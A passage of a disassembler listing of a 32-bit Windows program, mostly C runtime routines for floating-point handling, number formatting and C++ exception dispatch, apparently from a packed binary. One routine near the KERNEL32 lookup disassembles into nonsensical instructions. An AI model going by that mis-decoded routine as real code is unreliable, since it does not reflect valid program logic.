[ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_416451 ; --------------------------------------------------------------------------- loc_41644F: ; CODE XREF: sub_41626C+14Ej mov esi, ebx loc_416451: ; CODE XREF: sub_41626C+1E1j test esi, esi pop esi jz short loc_41645E push 10h call sub_416719 pop ecx loc_41645E: ; CODE XREF: sub_41626C+1E8j and edi, 0FFFFFFFDh loc_416461: ; CODE XREF: sub_41626C+26j ; sub_41626C+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_416478 test byte ptr [ebp+arg_8], 20h jz short loc_416478 push 20h call sub_416719 pop ecx and edi, 0FFFFFFEFh loc_416478: ; CODE XREF: sub_41626C+1F9j ; sub_41626C+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41626C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416483(int, int, int, int, int, int, double, int) sub_416483 proc near ; CODE XREF: sub_415ECE+2Bp ; sub_415F21+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_416531 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4164EE mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4166F6 lea eax, [ebp+var_20] push eax call sub_41A0E0 add esp, 0Ch test eax, eax jnz short loc_4164E8 push esi call sub_41650B pop ecx loc_4164E8: ; CODE XREF: sub_416483+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4164EE: ; CODE XREF: sub_416483+14j push 0FFFFh push [ebp+arg_20] call sub_4166F6 push [ebp+arg_0] call sub_41650B fld [ebp+arg_18] add esp, 0Ch leave retn sub_416483 endp ; =============== S U B R O U T I N E ======================================= sub_41650B proc near ; CODE XREF: sub_415F21+7Dp ; sub_416483+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_416526 jle short locret_416530 cmp eax, 3 jg short locret_416530 mov dword_462BC4, 22h retn ; --------------------------------------------------------------------------- loc_416526: ; CODE XREF: sub_41650B+7j mov dword_462BC4, 21h locret_416530: ; CODE XREF: sub_41650B+9j ; sub_41650B+Ej retn sub_41650B endp ; =============== S U B R O U T I N E ======================================= sub_416531 proc near ; CODE XREF: sub_416483+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_4316D0 loc_416538: ; CODE XREF: sub_416531+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41654E add eax, 8 inc ecx cmp eax, offset dbl_4317A8 jl short loc_416538 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41654E: ; CODE XREF: sub_416531+Dj mov eax, off_4316D4[ecx*8] retn sub_416531 endp ; =============== S U B R O U T I N E ======================================= sub_416556 proc near ; CODE XREF: sub_415F21+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_416562 push 5 jmp short loc_416578 ; --------------------------------------------------------------------------- loc_416562: ; CODE XREF: sub_416556+6j test al, 8 jz short loc_41656A push 1 jmp short loc_416578 ; --------------------------------------------------------------------------- loc_41656A: ; CODE XREF: sub_416556+Ej test al, 4 jz short loc_416572 push 2 jmp short loc_416578 ; --------------------------------------------------------------------------- loc_416572: ; CODE XREF: sub_416556+16j test al, 1 jz short loc_41657A push 3 loc_416578: ; CODE XREF: sub_416556+Aj ; sub_416556+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41657A: ; CODE XREF: sub_416556+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_416556 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416583(double) sub_416583 proc near ; CODE XREF: sub_412842:loc_4128C8p ; sub_41298B:loc_412A11p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_416583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416595(double, int) sub_416595 proc near ; CODE XREF: sub_416618+82p ; sub_416618+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_416595 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165BE proc near ; CODE XREF: sub_412842+31p ; sub_41298B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4165D5 cmp [ebp+arg_0], edx jnz short loc_4165E7 push 1 jmp short loc_416611 ; --------------------------------------------------------------------------- loc_4165D5: ; CODE XREF: sub_4165BE+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4165E7 cmp [ebp+arg_0], edx jnz short loc_4165E7 push 2 jmp short loc_416611 ; --------------------------------------------------------------------------- loc_4165E7: ; CODE XREF: sub_4165BE+11j ; sub_4165BE+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4165FA push 3 jmp short loc_416611 ; --------------------------------------------------------------------------- loc_4165FA: ; CODE XREF: sub_4165BE+36j cmp cx, 7FF0h jnz short loc_416614 test [ebp+arg_4], 7FFFFh jnz short loc_41660F cmp [ebp+arg_0], edx jz short loc_416614 loc_41660F: ; CODE XREF: sub_4165BE+4Aj push 4 loc_416611: ; CODE XREF: sub_4165BE+15j ; sub_4165BE+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_416614: ; CODE XREF: sub_4165BE+41j ; sub_4165BE+4Fj xor eax, eax pop ebp retn sub_4165BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416618(double, int) sub_416618 proc near ; CODE XREF: sub_41626C+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_41D7A8 push esi fnstsw ax sahf jnz short loc_416638 fldz xor esi, esi fstp [ebp+var_8] jmp loc_4166CE ; --------------------------------------------------------------------------- loc_416638: ; CODE XREF: sub_416618+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_4166A7 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_416650 cmp dword ptr [ebp+arg_0], ecx jz short loc_4166A7 loc_416650: ; CODE XREF: sub_416618+31j fld [ebp+arg_0] fcomp dbl_41D7A8 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_416668 push 1 pop eax jmp short loc_41666A ; --------------------------------------------------------------------------- loc_416668: ; CODE XREF: sub_416618+49j xor eax, eax loc_41666A: ; CODE XREF: sub_416618+4Ej ; sub_416618+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_416683 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41667D or dword ptr [ebp+arg_0+4], 1 loc_41667D: ; CODE XREF: sub_416618+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41666A ; --------------------------------------------------------------------------- loc_416683: ; CODE XREF: sub_416618+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_416691 or byte ptr [ebp+arg_0+7], 80h loc_416691: ; CODE XREF: sub_416618+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_416595 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4166CE ; --------------------------------------------------------------------------- loc_4166A7: ; CODE XREF: sub_416618+28j ; sub_416618+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_416595 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4166CE: ; CODE XREF: sub_416618+1Bj ; sub_416618+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_416618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4166D9 proc near ; CODE XREF: sub_415FB9+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4166D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4166E7 proc near ; CODE XREF: sub_415FB9+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4166E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4166F6 proc near ; CODE XREF: sub_412842+13p ; sub_412842+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4166F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416719 proc near ; CODE XREF: sub_41626C+1Dp ; sub_41626C+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_416730 fld tbyte_4317D0 fistp [ebp+arg_0] wait loc_416730: ; CODE XREF: sub_416719+Bj test cl, 8 jz short loc_416745 fstsw ax fld tbyte_4317D0 fstp [ebp+var_8] wait fstsw ax loc_416745: ; CODE XREF: sub_416719+1Aj test cl, 10h jz short loc_416754 fld tbyte_4317DC fstp [ebp+var_8] wait loc_416754: ; CODE XREF: sub_416719+2Fj test cl, 4 jz short loc_416762 fldz fld1 fdivrp st(1), st fstp st wait loc_416762: ; CODE XREF: sub_416719+3Ej test cl, 20h jz short locret_41676D fldpi fstp [ebp+var_8] wait locret_41676D: ; CODE XREF: sub_416719+4Cj leave retn sub_416719 endp ; =============== S U B R O U T I N E ======================================= sub_41676F proc near ; CODE XREF: sub_412911+Fp push 30000h push 10000h call sub_41A118 pop ecx pop ecx retn sub_41676F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416781 proc near ; CODE XREF: sub_4167BF:loc_4167E3j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_41D7B8 fstp [ebp+var_8] fld dbl_41D7B0 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_41D668 fnstsw ax sahf jbe short loc_4167BB push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4167BB: ; CODE XREF: sub_416781+33j xor eax, eax leave retn sub_416781 endp ; =============== S U B R O U T I N E ======================================= sub_4167BF proc near ; CODE XREF: sub_412911+5p push offset aKernel32 ; "KERNEL32" call near ptr 0AB0000h rol dword ptr [ebp+681574C0h], cl rcl bh, 41h add [eax-1], dl adc eax, offset dword_41D0B4 test eax, eax jz short loc_4167E3 push 0 call eax retn ; --------------------------------------------------------------------------- loc_4167E3: ; CODE XREF: sub_4167BF+1Dj jmp sub_416781 sub_4167BF endp ; =============== S U B R O U T I N E ======================================= sub_4167E8 proc near ; DATA XREF: sub_412929+1Eo arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_413A37 cmp eax, 65h pop ecx jz short loc_416828 loc_4167FC: ; CODE XREF: sub_4167E8+3Ej inc esi cmp dword_4316BC, 1 jle short loc_416815 movsx eax, byte ptr [esi] push 4 push eax call sub_414E26 pop ecx pop ecx jmp short loc_416824 ; --------------------------------------------------------------------------- loc_416815: ; CODE XREF: sub_4167E8+1Cj movsx eax, byte ptr [esi] mov ecx, off_4314B0 mov al, [ecx+eax*2] and eax, 4 loc_416824: ; CODE XREF: sub_4167E8+2Bj test eax, eax jnz short loc_4167FC loc_416828: ; CODE XREF: sub_4167E8+12j mov cl, byte_4316C0 mov al, [esi] mov [esi], cl inc esi loc_416833: ; CODE XREF: sub_4167E8+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_416833 pop esi retn sub_4167E8 endp ; --------------------------------------------------------------------------- loc_416842: ; DATA XREF: sub_412929+5o mov eax, [esp+4] mov dl, byte_4316C0 mov cl, [eax] test cl, cl jz short loc_41685E loc_416852: ; CODE XREF: .nsp0:0041685Cj cmp cl, dl jz short loc_41685E mov cl, [eax+1] inc eax test cl, cl jnz short loc_416852 loc_41685E: ; CODE XREF: .nsp0:00416850j ; .nsp0:00416854j mov cl, [eax] inc eax test cl, cl jz short locret_41688F loc_416865: ; CODE XREF: .nsp0:00416876j mov cl, [eax] test cl, cl jz short loc_416878 cmp cl, 65h jz short loc_416878 cmp cl, 45h jz short loc_416878 inc eax jmp short loc_416865 ; --------------------------------------------------------------------------- loc_416878: ; CODE XREF: .nsp0:00416869j ; .nsp0:0041686Ej ... mov ecx, eax loc_41687A: ; CODE XREF: .nsp0:0041687Ej dec eax cmp byte ptr [eax], 30h jz short loc_41687A cmp [eax], dl jnz short loc_416885 dec eax loc_416885: ; CODE XREF: .nsp0:00416882j ; .nsp0:0041688Dj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_416885 locret_41688F: ; CODE XREF: .nsp0:00416863j retn ; --------------------------------------------------------------------------- loc_416890: ; DATA XREF: sub_412929+28o mov eax, [esp+4] fld qword ptr [eax] fcomp dbl_41D7A8 fnstsw ax sahf jb short loc_4168A5 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4168A5: ; CODE XREF: .nsp0:0041689Fj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168A8 proc near ; DATA XREF: sub_412929+14o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4168D1 lea eax, [ebp+var_8] push eax call sub_41A5DB mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4168D1: ; CODE XREF: sub_4168A8+Cj lea eax, [ebp+arg_8] push eax call sub_41A608 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_4168A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E6 proc near ; CODE XREF: sub_416B63+17p ; sub_416BAD+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_462C30, 0 push ebx push esi jz short loc_41691B mov ebx, [ebp+arg_8] mov eax, dword_462C2C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_416BFE pop ecx pop ecx jmp short loc_416953 ; --------------------------------------------------------------------------- loc_41691B: ; CODE XREF: sub_4168E6+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41A6AC mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41A635 add esp, 14h loc_416953: ; CODE XREF: sub_4168E6+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41695F mov byte ptr [eax], 2Dh inc eax loc_41695F: ; CODE XREF: sub_4168E6+73j test ebx, ebx jle short loc_416977 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_4316C0 mov eax, edi pop edi mov [eax], cl loc_416977: ; CODE XREF: sub_4168E6+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_462C30, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_412600 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41699E mov byte ptr [ecx], 45h loc_41699E: ; CODE XREF: sub_4168E6+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_4169E3 mov ebx, [esi+4] dec ebx jns short loc_4169B2 neg ebx mov byte ptr [ecx], 2Dh loc_4169B2: ; CODE XREF: sub_4168E6+C5j inc ecx cmp ebx, 64h jl short loc_4169C9 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4169C9: ; CODE XREF: sub_4168E6+D0j inc ecx cmp ebx, 0Ah jl short loc_4169E0 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4169E0: ; CODE XREF: sub_4168E6+E7j add [ecx+1], bl loc_4169E3: ; CODE XREF: sub_4168E6+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4168E6 endp ; =============== S U B R O U T I N E ======================================= sub_4169EA proc near ; CODE XREF: sub_416B8A+13p ; sub_416BAD+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_462C30, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_416A25 mov eax, dword_462C34 mov ebx, [esp+10h+arg_8] mov esi, dword_462C2C cmp eax, ebx jnz short loc_416A55 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_416A55 ; --------------------------------------------------------------------------- loc_416A25: ; CODE XREF: sub_4169EA+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41A6AC mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41A635 add esp, 14h loc_416A55: ; CODE XREF: sub_4169EA+22j ; sub_4169EA+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_416A63 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_416A63: ; CODE XREF: sub_4169EA+70j mov eax, [esi+4] test eax, eax jg short loc_416A7A push 1 push edi call sub_416BFE pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_416A7C ; --------------------------------------------------------------------------- loc_416A7A: ; CODE XREF: sub_4169EA+7Ej add edi, eax loc_416A7C: ; CODE XREF: sub_4169EA+8Ej test ebx, ebx jle short loc_416AC1 push 1 push edi call sub_416BFE mov al, byte_4316C0 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_416AC1 cmp byte_462C30, 0 jz short loc_416AA6 neg esi jmp short loc_416AAC ; --------------------------------------------------------------------------- loc_416AA6: ; CODE XREF: sub_4169EA+B6j neg esi cmp ebx, esi jl short loc_416AAE loc_416AAC: ; CODE XREF: sub_4169EA+BAj mov ebx, esi loc_416AAE: ; CODE XREF: sub_4169EA+C0j push ebx push edi call sub_416BFE push ebx push 30h push edi call sub_411F70 add esp, 14h loc_416AC1: ; CODE XREF: sub_4169EA+94j ; sub_4169EA+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AC8 proc near ; CODE XREF: sub_416BAD+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41A6AC mov dword_462C2C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_462C34, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41A635 mov eax, dword_462C2C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_462C34, ecx setl cl mov byte_462C38, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_462C34, eax jl short loc_416B4E cmp eax, ebx jge short loc_416B4E test cl, cl jz short loc_416B3F loc_416B35: ; CODE XREF: sub_416AC8+72j mov al, [esi] inc esi test al, al jnz short loc_416B35 and [esi-2], al loc_416B3F: ; CODE XREF: sub_416AC8+6Bj push ebx push [ebp+arg_4] push edi call sub_416B8A add esp, 0Ch jmp short loc_416B5E ; --------------------------------------------------------------------------- loc_416B4E: ; CODE XREF: sub_416AC8+63j ; sub_416AC8+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_416B63 add esp, 10h loc_416B5E: ; CODE XREF: sub_416AC8+84j pop edi pop esi pop ebx pop ebp retn sub_416AC8 endp ; =============== S U B R O U T I N E ======================================= sub_416B63 proc near ; CODE XREF: sub_416AC8+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_462C30, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4168E6 and byte_462C30, 0 add esp, 10h retn sub_416B63 endp ; =============== S U B R O U T I N E ======================================= sub_416B8A proc near ; CODE XREF: sub_416AC8+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_462C30, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4169EA and byte_462C30, 0 add esp, 0Ch retn sub_416B8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BAD proc near ; DATA XREF: sub_412929o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_416BE8 cmp [ebp+arg_8], 45h jz short loc_416BE8 cmp [ebp+arg_8], 66h jnz short loc_416BD5 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4169EA add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_416BD5: ; CODE XREF: sub_416BAD+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_416AC8 jmp short loc_416BF9 ; --------------------------------------------------------------------------- loc_416BE8: ; CODE XREF: sub_416BAD+7j ; sub_416BAD+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4168E6 loc_416BF9: ; CODE XREF: sub_416BAD+39j add esp, 10h pop ebp retn sub_416BAD endp ; =============== S U B R O U T I N E ======================================= sub_416BFE proc near ; CODE XREF: sub_4168E6+2Cp ; sub_4169EA+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_416C21 push esi mov esi, [esp+8+arg_0] push esi call sub_4126F0 inc eax push eax push esi add esi, edi push esi call sub_412E60 add esp, 10h pop esi loc_416C21: ; CODE XREF: sub_416BFE+7j pop edi retn sub_416BFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C23 proc near ; CODE XREF: .nsp0:00412B0Cp ; sub_412B75+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_416C39 call sub_4174C2 loc_416C39: ; CODE XREF: sub_416C23+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_416C61 cmp dword ptr [esi+4], 0 jz short loc_416CB7 cmp [ebp+arg_14], 0 jnz short loc_416CB7 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_416F6A add esp, 10h jmp short loc_416CB7 ; --------------------------------------------------------------------------- loc_416C61: ; CODE XREF: sub_416C23+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_416CB7 cmp dword ptr [eax], 0E06D7363h jnz short loc_416C9B cmp [eax+14h], edi jbe short loc_416C9B mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_416C9B movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_416CBA ; --------------------------------------------------------------------------- loc_416C9B: ; CODE XREF: sub_416C23+4Aj ; sub_416C23+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_416CBE add esp, 20h loc_416CB7: ; CODE XREF: sub_416C23+23j ; sub_416C23+29j ... push 1 pop eax loc_416CBA: ; CODE XREF: sub_416C23+76j pop edi pop esi pop ebp retn sub_416C23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CBE proc near ; CODE XREF: sub_416C23+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_416CDE mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_416CE3 loc_416CDE: ; CODE XREF: sub_416CBE+16j call sub_4174C2 loc_416CE3: ; CODE XREF: sub_416CBE+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_416E3A cmp dword ptr [esi+10h], 3 jnz short loc_416D57 cmp [esi+14h], edi jnz short loc_416D57 cmp dword ptr [esi+1Ch], 0 jnz short loc_416D57 mov esi, dword_462C3C test esi, esi jz loc_416E35 mov eax, dword_462C40 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41A833 pop ecx test eax, eax pop ecx jnz short loc_416D39 call sub_4174C2 loc_416D39: ; CODE XREF: sub_416CBE+74j cmp [esi], ebx jnz loc_416E3A cmp dword ptr [esi+10h], 3 jnz short loc_416D57 cmp [esi+14h], edi jnz short loc_416D57 cmp dword ptr [esi+1Ch], 0 jnz short loc_416D57 call sub_4174C2 loc_416D57: ; CODE XREF: sub_416CBE+41j ; sub_416CBE+46j ... cmp [esi], ebx jnz loc_416E3A cmp dword ptr [esi+10h], 3 jnz loc_416E3A cmp [esi+14h], edi jnz loc_416E3A mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_412CC3 add esp, 14h mov ebx, eax loc_416D8E: ; CODE XREF: sub_416CBE+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_416E25 cmp [ebx], edi jg short loc_416E1A cmp edi, [ebx+4] jg short loc_416E1A mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_416E17 loc_416DB3: ; CODE XREF: sub_416CBE+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_416DE4 loc_416DC5: ; CODE XREF: sub_416CBE+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_416F0D add esp, 0Ch test eax, eax jnz short loc_416DF3 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_416DC5 loc_416DE4: 